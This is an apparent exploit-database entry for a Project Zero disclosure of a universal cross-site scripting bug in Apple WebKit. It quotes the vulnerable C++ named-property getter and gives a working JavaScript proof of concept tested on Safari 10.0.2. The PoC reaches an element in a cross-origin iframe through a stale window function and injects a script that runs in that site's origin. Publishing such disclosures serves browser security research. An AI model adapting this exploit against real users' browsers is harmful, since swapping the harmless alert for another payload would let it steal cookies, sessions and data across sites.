Apple Webkit - Universal Cross-Site Scripting by Accessing a Named Property from an Unloaded Window

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1063
 
The frame is not detached from an unloaded window. We can access to the new document's named properties via the following function.
 
static bool jsDOMWindowPropertiesGetOwnPropertySlotNamedItemGetter(JSDOMWindowProperties* thisObject, Frame& frame, ExecState* exec, PropertyName propertyName, PropertySlot& slot)
{
    ...
    Document* document = frame.document(); <<-------- the new document.
    if (is<HTMLDocument>(*document)) {
        auto& htmlDocument = downcast<HTMLDocument>(*document);
        auto* atomicPropertyName = propertyName.publicName();
        if (atomicPropertyName && htmlDocument.hasWindowNamedItem(*atomicPropertyName)) {
            JSValue namedItem;
            if (UNLIKELY(htmlDocument.windowNamedItemContainsMultipleElements(*atomicPropertyName))) {
                Ref<HTMLCollection> collection = document->windowNamedItems(atomicPropertyName);
                ASSERT(collection->length() > 1);
                namedItem = toJS(exec, thisObject->globalObject(), collection);
            } else
                namedItem = toJS(exec, thisObject->globalObject(), htmlDocument.windowNamedItem(*atomicPropertyName));
            slot.setValue(thisObject, ReadOnly | DontDelete | DontEnum, namedItem);
            return true;
        }
    }
 
    return false;
}
 
PoC:
-->
 
"use strict";
 
let f = document.body.appendChild(document.createElement("iframe"));
let get_element = f.contentWindow.Function("return logo;");
 
f.onload = () => {
    f.onload = null;
 
    let node = get_element();
 
    var sc = document.createElement("script");
    sc.innerText = "alert(location)";
    node.appendChild(sc);
};
 
f.src = "https://abc.xyz/";
 
<!--
Tested on Safari 10.0.2(12602.3.12.0.1).
-->